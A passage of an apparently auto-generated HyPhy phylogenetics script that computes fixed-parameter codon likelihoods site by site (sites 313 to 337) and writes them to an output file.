LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "313\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 314...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "939,940,941", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 314");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "314\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 315...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "942,943,944", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 315");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "315\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 316...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "945,946,947", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 316");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "316\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 317...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "948,949,950", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 317");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "317\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 318...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "951,952,953", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 318");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "318\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 319...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "954,955,956", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 319");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "319\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 320...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "957,958,959", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 320");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "320\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 321...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "960,961,962", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 321");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "321\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 322...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "963,964,965", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 322");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "322\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 323...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "966,967,968", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 323");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "323\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 324...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "969,970,971", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 324");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "324\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 325...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "972,973,974", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 325");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "325\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 326...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "975,976,977", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 326");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "326\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 327...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "978,979,980", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 327");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "327\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 328...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "981,982,983", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 328");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "328\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 329...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "984,985,986", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 329");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "329\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 330...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "987,988,989", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 330");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "330\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 331...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "990,991,992", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 331");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "331\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 332...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "993,994,995", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 332");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "332\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 333...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "996,997,998", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 333");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "333\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 334...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "999,1000,1001", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 334");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "334\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 335...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1002,1003,1004", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 335");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "335\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 336...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1005,1006,1007", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 336");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "336\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 337...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1008,1009,1010", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 337");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
